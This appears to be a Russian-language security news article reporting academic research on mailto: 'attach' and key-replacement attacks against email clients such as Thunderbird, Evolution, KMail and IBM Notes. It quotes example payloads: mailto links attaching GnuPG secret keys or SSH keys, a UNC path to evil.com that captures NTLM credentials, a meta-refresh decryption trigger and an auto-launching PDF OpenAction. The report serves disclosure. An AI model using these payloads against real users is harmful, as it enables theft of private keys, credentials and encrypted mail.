Атака на пользователей почтовых клиентов при помощи ссылок "mailto:"

Исследователи из Рурского университета в Бохуме (Германия) проанализировали (PDF) поведение почтовых клиентов при обработке ссылок "mailto:" с расширенными параметрами. Пять из двадцати рассмотренных почтовых клиентов оказались уязвимы для атаки, манипулирующей подстановкой ресурсов при помощи параметра "attach". Ещё шесть почтовых клиентов были подвержены атаке по замене ключей PGP и S/MIME, а три клиента оказались уязвимы для атаки по извлечению содержимого зашифрованных сообщений.

Ссылки "" применяются для автоматизации открытия почтового клиента с целью написания письма заданному в ссылке адресату. Кроме адреса в составе ссылки можно указать дополнительные параметры, такие как тема письма и шаблон типового содержимого. Предложенная атака манипулирует параметром "attach", позволяющем прикрепить к создаваемому письму вложение.

Почтовые клиенты Thunderbird, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089) и Pegasus Mail оказались уязвимы тривиальной атаке, позволяющей автоматически прикрепить любой локальный файл, указанный через ссылку вида "mailto:?attach=путь_к_файлу". Файл прикрепляется без вывода предупреждения, поэтому без специального акцентирования внимания пользователь может не заметить, что письмо будет отправлено с прикреплением вложением.

Например, при помощи ссылки вида "mailto:?to=user@example.com&subject=Title&body=Text&attach=~/.gnupg/secring.gpg" можно подставить в письмо закрытые ключи от GnuPG. Также можно отправить содержимое криптокошельков (~/.bitcoin/wallet.dat), SSH-ключи (~/.ssh/id_rsa) и любые доступные пользователю файлы. Более того, Thunderbird позволяет прикреплять группы файлов по маске при помощи конструкций вида "attach=/tmp/*.txt".

Кроме локальных файлов некоторые почтовые клиенты обрабатывают ссылки на сетевые хранилища и пути в IMAP-сервере. В частности, IBM Notes позволяет передать файл из сетевого каталога при обработке ссылок вида "attach=\\evil.com\dummyfile", а также перехватить параметры аутентификации NTLM направив ссылку на SMB-сервер, подконтрольный атакующему (запрос будет отправлен с текущими параметрами аутентификации пользователя).

Thunderbird успешно обрабатывает запросы вида "attach=imap:///fetch>UID>/INBOX>1/", позволяющие прикрепить содержимое из папок на IMAP-сервере. При этом извлекаемые из IMAP письма, зашифрованные через OpenPGP и S/MIME, автоматически расшифровываются почтовым клиентом перед отправкой. Разработчики Thunderbird были уведомлены о проблеме в феврале и в выпуске Thunderbird 78 проблема уже устранена (ветки Thunderbird 52, 60 и 68 остаются уязвимыми).

Старые версии Thunderbird оказались уязвимы и для двух других вариантов атаки на PGP и S/MIME, предложенных исследователями. В частности, к Thunderbird, а также к OutLook, PostBox, eM Client, MailMate и R2Mail2 оказалась применима атака по замене ключей, вызванная тем, что почтовый клиент автоматически импортирует и устанавливает новые сертификаты, передаваемые в сообщениях S/MIME, что позволяет атакующему организовать подмену уже сохранённых у пользователя открытых ключей.

Вторая атака, которой подвержены Thunderbird, PostBox и MailMate, манипулирует особенностями механизма автосохранения черновиков сообщений и позволяет при помощи параметров mailto инициировать расшифровку зашифрованных сообщений или добавление цифровой подписи для произвольных сообщений, с последующей передачей результата на IMAP-сервер атакующего. Шифротекст при данной атаке передаётся через парметр "body", а для инициирования обращения к IMAP-серверу атакующего применяется тег "meta refresh". Например: '<meta http-equiv="refresh" content="60; URL=mailto:?body=-----BEGIN PGP MESSAGE-----[...]-----END PGP MESSAGE-----">'

Для автоматической обработки ссылок "mailto:" без участия пользователя могут применяться специально оформленные документы PDF - действие OpenAction в PDF позволяет автоматически запустить обработчик mailto при открытии документа:


%PDF-1.5
1 0 obj
<< /Type /Catalog /OpenAction [2 0 R] >>
endobj

2 0 obj
<< /Type /Action /S /URI/URI (mailto:?body=-----BEGIN PGP MESSAGE-----[...])>>
endobj


0_1597838137.png


OpenNet
 
Назад
Сверху Снизу